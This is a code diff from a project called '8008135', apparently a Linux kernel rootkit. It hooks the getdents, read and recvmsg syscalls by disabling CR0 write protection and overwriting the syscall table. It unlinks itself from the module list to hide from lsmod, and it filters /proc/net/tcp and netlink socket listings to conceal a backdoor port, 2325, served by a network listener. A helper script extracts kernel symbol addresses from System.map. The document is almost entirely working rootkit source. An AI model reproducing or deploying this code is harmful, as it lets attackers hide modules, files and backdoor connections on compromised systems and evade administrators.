-	sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM];
-	
-	printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig);
 
-	// turn write protect off
-	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
-	
-	// add our new handlers
-	sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new;
+	sys_getdents_orig = (sys_getdents_ptr)((void**)sys_call_table)[__NR_getdents];
+	sys_read_orig	  = (sys_read_ptr)((void**)sys_call_table)[__NR_read];
+	sys_recvmsg_orig = (void *) sys_call_table[__NR_recvmsg];
 
-	// turn write protect back on
-	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
+	wprotectionoff();
 
-	printk(KERN_INFO "New syscall in place\n");
+	sys_call_table[__NR_getdents] = sys_getdents_new;
+	sys_call_table[__NR_read]     = sys_read_fake;
+	sys_call_table[__NR_recvmsg]  = my_recvmsg_syscall;
+
+	wprotectionon();
+
+	network_server_init();
+	hide_module();
 	
 	return 0;
 }
 
 /***  FUNCTION  ****************************************************************
 *          NAME:  8008135_exit
-*   DESCRIPTION:  unloading Kernel Module
+*   DESCRIPTION:  unloading Kernel Module, restoring the original system call table
 *    PARAMETERS:  -
 *       RETURNS:  -
 *******************************************************************************/
 static void __exit exit_8008135(void) {
-	// allow us to write to read onlu pages
-	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
-	// set getdents handler back
-	sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig;
-	// turn write protect back on
-	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
-	printk(KERN_INFO "Old syscall back\n");
+
+	network_server_exit();
+
+	wprotectionoff();
+
+	sys_call_table[__NR_getdents] = sys_getdents_orig;
+	sys_call_table[__NR_read] 	  = sys_read_orig;
+	sys_call_table[__NR_recvmsg]  = sys_recvmsg_orig;
+
+	wprotectionon();
 }
 
-// Setting pointers to init-/exit-functions 
+/*******************************************************************************/
+
 module_init(init_8008135);
 module_exit(exit_8008135);
+
+/*******************************************************************************/

src/cr3473_5y563n.sh

@@ -1,19 +1,32 @@
 #!/usr/bin/env bash
+
 SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
+
 SRCS_H="$SCRIPTPATH""/headers"
-SGENH="$SRCS_H""/sysgen.h"
+
+SGENS="$SCRIPTPATH""/5y563n.c"
+SGENH="$SRCS_H""/5y563n.h"
 
 smap="/boot/System.map-$(uname -r)"
 
+echo -e '#include "5y563n.h"' > "$SGENS"
+
 echo -e "#pragma once" > "$SGENH"
 echo -e "#include <linux/fs.h>" >> "$SGENH"
 
+
 symbline=$(cat $smap | grep '\Wsys_call_table$')
 set $symbline
+
 [ -z "$symbline" ] && echo "No SysCall Table Value from System.map found" && exit 2;
-echo -e "void** sys_call_table = (void**)0x$1;" >> "$SGENH"
+
+echo -e "extern void** sys_call_table;" >> "$SGENH"
+
+echo -e "void** sys_call_table = (void**)0x$1;" >> "$SGENS" 
 
 procline=$(cat $smap | grep '\Wproc_modules_operations$')
 set $procline
 
-echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> "$SGENH"
+echo -e "extern struct file_operations* proc_modules_operations;">> "$SGENH"
+
+echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> "$SGENS"

src/h1d3m0dul3.c

@@ -0,0 +1,36 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*******************************************************************************/
+
+/**** includes *****************************************************************
+*******************************************************************************/
+#include "h1d3m0dul3.h"
+
+/*******************************************************************************/
+
+/***  FUNCTION  ****************************************************************
+*          NAME:  hide_module
+*   DESCRIPTION:  hides the module from lsmod
+*    PARAMETERS:  -
+*       RETURNS:
+*******************************************************************************/
+void hide_module(void){
+	list_del(&THIS_MODULE->list);
+}

src/h1d3p0r7.c

@@ -0,0 +1,185 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*******************************************************************************/
+
+/**** includes *****************************************************************
+*******************************************************************************/
+#include "h1d3p0r7.h"
+
+/**** var **********************************************************************
+*******************************************************************************/
+
+sys_read_ptr sys_read_orig;
+original_recvmsg_syscall sys_recvmsg_orig;
+
+/*******************************************************************************/
+
+/***  FUNCTION  ****************************************************************
+*          NAME:  hide port
+*   DESCRIPTION:  hides the port 2325
+*    PARAMETERS:  -
+*       RETURNS:
+*******************************************************************************/
+
+asmlinkage long sys_read_fake(unsigned int fd, char __user *buf,
+                              size_t count)
+{
+	long result, bp, diff_in_bytes;
+	char *kbuf, *start_line, *end_line, *port_num;
+	char *pathname, pbuf[256];
+	struct files_struct *current_files;
+	struct fdtable *files_table;
+	struct path file_path;
+
+	// run real read
+	result = (*sys_read_orig)(fd, buf, count);
+
+	if (result <= 0){
+		return result;
+	}
+
+
+	current_files = current->files;
+	files_table = files_fdtable(current_files);
+
+	file_path = files_table->fd[fd]->f_path;
+	pathname = d_path(&file_path, pbuf, 256*sizeof(char));
+
+
+	if (!strncmp(pathname, "/proc/", 6) && !strcmp(pathname + 10, "/net/tcp")) {
+
+		if (!access_ok(VERIFY_READ, buf, result)){
+			return -1;
+		}
+		if ((kbuf = kmalloc(result, GFP_KERNEL)) == NULL){
+			return -1;
+		}
+		if (copy_from_user(kbuf, buf, result)){
+			return -1;
+		}
+
+
+		start_line = strchr(kbuf, ':') - 4;
+		diff_in_bytes = (start_line - kbuf) * sizeof(char);
+
+		for (bp = diff_in_bytes; bp < result; bp += diff_in_bytes) {
+
+			start_line = kbuf + bp;
+			port_num = strchr(strchr(start_line, ':') + 1, ':') + 1;
+			end_line = strchr(start_line, '\n');
+			diff_in_bytes = ((end_line - start_line) + 1) * sizeof(char);
+
+			if (!strncmp(port_num, DEFAULT_PORT_HEX, 4)) {
+
+				memmove(start_line, end_line + 1,
+						result - bp - diff_in_bytes);
+
+				result -= diff_in_bytes;
+			}
+		}
+
+		// copy from kernel to userspace
+		if (!access_ok(VERIFY_WRITE, buf, result)){
+			return EINVAL;
+		}
+		if (copy_to_user(buf, kbuf, result)){
+			return EINVAL;
+		}
+		kfree(kbuf);
+	}
+	// return number of bytes read
+	return result;
+}
+
+/* Function that replaces the original `recvmsg` syscall. Initially, it calls the original
+   `recvmsg` which fills the given msg buffer. We realize whether we are reading from a netlink
+   socket with the help of some netlink utility macros. If a netlink socket is being used, we
+   iterate through the inet diag msg structs (each prepended by a nlmsghdr) and compare the
+   source and destination ports with our list of hidden ones. In order to hide an entry we copy
+   the remaining entries over it and adjust the data length which is returned to the user. */
+
+asmlinkage ssize_t my_recvmsg_syscall(int sockfd, struct user_msghdr __user *msg, unsigned flags)
+{
+	long ret;
+	struct nlmsghdr *nlh;
+	long count;
+	int found;
+	char *stream;
+	int offset;
+	int i;
+	struct inet_diag_msg *r;
+	int port;
+	/* Call original `recvmsg` syscall */
+	ret = sys_recvmsg_orig(sockfd, msg, flags);
+
+	/* Some error occured. Don't do anything. */
+	if (ret < 0)
+		return ret;
+
+	/* Extract netlink message header from message */
+	nlh = (struct nlmsghdr *)(msg->msg_iov->iov_base);
+
+	/* Number of bytes remaining in message stream */
+    count = ret;
+
+	/* Set flag specifying whether message contains data to be masked */
+	found = 1;
+
+	/* NLMSG_OK: This macro will return true if a netlink message was received. It
+	   essentially checks whether it's safe to parse the netlink message (if indeed
+	   is a netlink message) using the other NLMSG_* macros. */
+	while (NLMSG_OK(nlh, count)) {
+
+		if (found == 0)
+			/* NLMSG_NEXT: Many netlink protocols have request messages that result
+			   in multiple response messages. In these cases, multiple responses will
+			   be copied into the `msg` buffer. This macro can be used to walk the
+			   chain of responses. Returns NULL in the event the message is the last
+			   in the chain for the given buffer. */
+			nlh = NLMSG_NEXT(nlh, count);
+		
+		r = NLMSG_DATA(nlh);
+		port = ntohs(r->id.idiag_sport);
+		if(port == 2325){
+			/* Message contains data to be masked */
+			found = 1;
+		}else{
+			found = 0;
+			continue;
+		}
+
+
+		stream = (char *) nlh;
+
+		/* NLMSG_ALIGN: This macro accepts the length of a netlink message and rounds it
+		   up to the nearest NLMSG_ALIGNTO boundary. It returns the rounded length. */
+		offset = NLMSG_ALIGN((nlh)->nlmsg_len);
+
+		/* Copy remaining entries over the data to be masked */
+		for (i=0 ; i<count ; i++)
+			stream[i] = stream[i + offset];
+
+		/* Adjust the data length */
+		ret -= offset;
+	}
+
+	return ret;
+}
+

src/headers/50ck3t.h

@@ -0,0 +1,54 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+#ifndef SRC_HEADERS_50CK3T_H
+#define SRC_HEADERS_50CK3T_H
+
+/**** includes *****************************************************************
+*******************************************************************************/
+#include <linux/init.h>
+#include <linux/slab.h>
+#include <linux/kthread.h>
+
+#include <linux/errno.h>
+#include <linux/types.h>
+
+#include <linux/netdevice.h>
+#include <linux/ip.h>
+#include <linux/in.h>
+
+#include <linux/unistd.h>
+#include <linux/wait.h>
+
+#include <net/sock.h>
+#include <net/tcp.h>
+#include <net/inet_connection_sock.h>
+#include <net/request_sock.h>
+
+/**** defines *****************************************************************
+*******************************************************************************/
+
+#define DEFAULT_PORT 2325
+#define DEFAULT_PORT_HEX "0915"
+#define MAX_CONNS 16
+#define MODULE_NAME "8008135"
+
+int network_server_init(void);
+void network_server_exit(void);
+
+#endif

src/headers/610b415.h

@@ -0,0 +1,13 @@
+/*
+ * 610b415.h
+ *
+ *  Created on: Dec 6, 2019
+ *      Author: vlr
+ */
+
+#ifndef SRC_HEADERS_610B415_H_
+#define SRC_HEADERS_610B415_H_
+
+extern char * stringRemoveChars(char *AString, char *ASpanset);
+
+#endif /* SRC_HEADERS_610B415_H_ */

src/headers/637d3n75.h

@@ -0,0 +1,68 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*******************************************************************************/
+
+
+#ifndef SRC_HEADERS_637d3n75_H
+#define SRC_HEADERS_637d3n75_H
+
+
+/****  include  ****************************************************************
+*******************************************************************************/
+#include <linux/module.h>
+#include <asm/special_insns.h>
+#include <linux/string.h>
+#include <linux/fs.h>
+
+#include "5y563n.h"
+
+#define HIDE_PREFIX				"8008135."
+#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX) - 1)
+
+#define MODULE_NAME				"8008135"
+#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)
+
+#define __NR_getdents 			78
+
+/****  type  ********************************************************************
+******************************************************************************/
+
+struct linux_dirent {
+	unsigned long	d_ino;
+	unsigned long	d_off;
+	unsigned short	d_reclen;
+	char		    d_name[1];
+};
+
+typedef asmlinkage long (*sys_getdents_ptr)(unsigned int fd,
+                                            struct linux_dirent __user *dirent,
+                                            unsigned int count);
+
+/***  var  ********************************************************************
+*******************************************************************************/
+
+extern sys_getdents_ptr sys_getdents_orig;
+
+
+extern asmlinkage long sys_getdents_new(unsigned int fd,
+                                 struct linux_dirent __user *dirent,
+                                 unsigned int count);
+
+#endif

src/headers/8008135.h

@@ -18,49 +18,44 @@
  */
 #ifndef SRC_HEADERS_8008135_H
 #define SRC_HEADERS_8008135_H
+
 /****  Includes  ***************************************************************
 *******************************************************************************/
+#include "637d3n75.h"
+#include "50ck3t.h"
+#include "h1d3m0dul3.h"
+#include "h1d3p0r7.h"
+#include "p463unpr073c7.h"
+
+// To set module data
 #include <linux/module.h>
+// To communicate kernel
 #include <linux/kernel.h>
+/*
 #include <linux/kallsyms.h>
-#include <asm/special_insns.h>
 #include <linux/string.h>
+
 #include <linux/fs.h>
-#include "sysgen.h"
-
-
+#include <linux/fdtable.h>
+#include <linux/net.h>
+#include <linux/seq_file.h>
+#include <linux/slab.h>
+#include <linux/socket.h>
+#include <linux/version.h>
+#include <net/tcp.h>
+#include <net/udp.h>
+*/
 /****  Defines *****************************************************************
 *******************************************************************************/
 
-#define GETDENTS_SYSCALL_NUM	78
-#define WRITE_PROTECT_FLAG		(1<<16)
-
-#define HIDE_PREFIX				"8008135."
-#define HIDE_PREFIX_SZ			(sizeof(HIDE_PREFIX) - 1)
-
-#define MODULE_NAME				"8008135"
-#define MODULE_NAME_SZ			(sizeof(MODULE_NAME) - 1)
 
 /****  Modinfo  ****************************************************************
 *******************************************************************************/
 
-MODULE_LICENSE("GPLv3");
+MODULE_LICENSE("GPL");
 MODULE_AUTHOR("JanKoernerEnterprises");
 MODULE_DESCRIPTION("8008135");
 MODULE_VERSION("0.1");
 
-/****  type  *******************************************************************
-*******************************************************************************/
-struct linux_dirent {
-	unsigned long	d_ino;
-	unsigned long	d_off;
-	unsigned short	d_reclen;  // d_reclen is the way to tell the length of this entry
-	char		    d_name[1]; // the struct value is actually longer than this, and d_name is variable width.
-};
 
-typedef asmlinkage long (*sys_getdents_t)(unsigned int fd,
-                                          struct linux_dirent __user *dirent,
-                                          unsigned int count);
-
-
-#endif /* SRC_HEADERS_8008135_H */
+#endif

src/headers/h1d3m0dul3.h

@@ -0,0 +1,30 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef SRC_HEADERS_h1d3m0dul3_H
+#define SRC_HEADERS_h1d3m0dul3_H
+
+
+#include <linux/module.h>
+#include <linux/kernel.h>
+
+
+extern void hide_module(void);
+
+#endif

src/headers/h1d3p0r7.h

@@ -0,0 +1,62 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef SRC_HEADERS_h1d3p0r7_H
+#define SRC_HEADERS_h1d3p0r7_H
+
+
+/**** includes  ****************************************************************
+*******************************************************************************/
+
+#include "50ck3t.h"
+
+/* are those really all needed? */
+#include <linux/fs.h>
+#include <linux/fdtable.h>
+#include <linux/net.h>
+#include <linux/seq_file.h>
+#include <linux/slab.h>
+#include <linux/socket.h>
+#include <linux/version.h>
+#include <net/tcp.h>
+#include <net/udp.h>
+#include <linux/inet_diag.h>	/* Needed for ntohs */
+
+
+#define __NR_read				0
+#define __NR_recvmsg			47
+
+
+typedef asmlinkage long (*sys_read_ptr)(unsigned int fd,
+										char __user *buf,
+                                        size_t count);
+typedef asmlinkage ssize_t (*original_recvmsg_syscall)(int, struct user_msghdr __user *, unsigned);
+
+
+/**** var **********************************************************************
+*******************************************************************************/
+
+extern sys_read_ptr sys_read_orig;
+extern asmlinkage long sys_read_fake(unsigned int fd, char __user *buf,
+                            		 size_t count);
+
+extern original_recvmsg_syscall sys_recvmsg_orig;
+extern asmlinkage ssize_t my_recvmsg_syscall(int, struct user_msghdr __user *, unsigned);
+
+#endif

src/headers/p463unpr073c7.h

@@ -0,0 +1,33 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef SRC_HEADERS_p463unpr073c7_H
+#define SRC_HEADERS_p463unpr073c7_H
+
+#include <linux/module.h>
+#include "asm/special_insns.h"
+
+/**** defines *****************************************************************
+*******************************************************************************/
+#define WRITE_PROTECT_FLAG		(1<<16)
+
+extern void wprotectionoff(void);
+extern void wprotectionon(void);
+
+#endif

src/p463unpr073c7.c

@@ -0,0 +1,48 @@
+/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*-  */
+/*
+ * main.c
+ * Copyright (C) 2019
+ *
+ * 8008135 is free software: you can redistribute it and/or modify it
+ * under the terms of the GNU General Public License as published by the
+ * Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * 8008135 is distributed in the hope that it will be useful, but
+ * WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+ * See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program.  If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*******************************************************************************/
+
+/**** includes *****************************************************************
+*******************************************************************************/
+#include "p463unpr073c7.h"
+
+/*******************************************************************************/
+
+
+/***  FUNCTION  ****************************************************************
+*          NAME:  wprotectionoff
+*   DESCRIPTION:  turn page write protection off
+*    PARAMETERS:  -
+*       RETURNS:
+*******************************************************************************/
+void wprotectionoff(void){
+	write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG));
+}
+
+/***  FUNCTION  ****************************************************************
+*          NAME:  wprotectionon
+*   DESCRIPTION:  turn page write protection on
+*    PARAMETERS:  -
+*       RETURNS:
+*******************************************************************************/
+
+void wprotectionon(void){
+	write_cr0(read_cr0() | WRITE_PROTECT_FLAG);
+}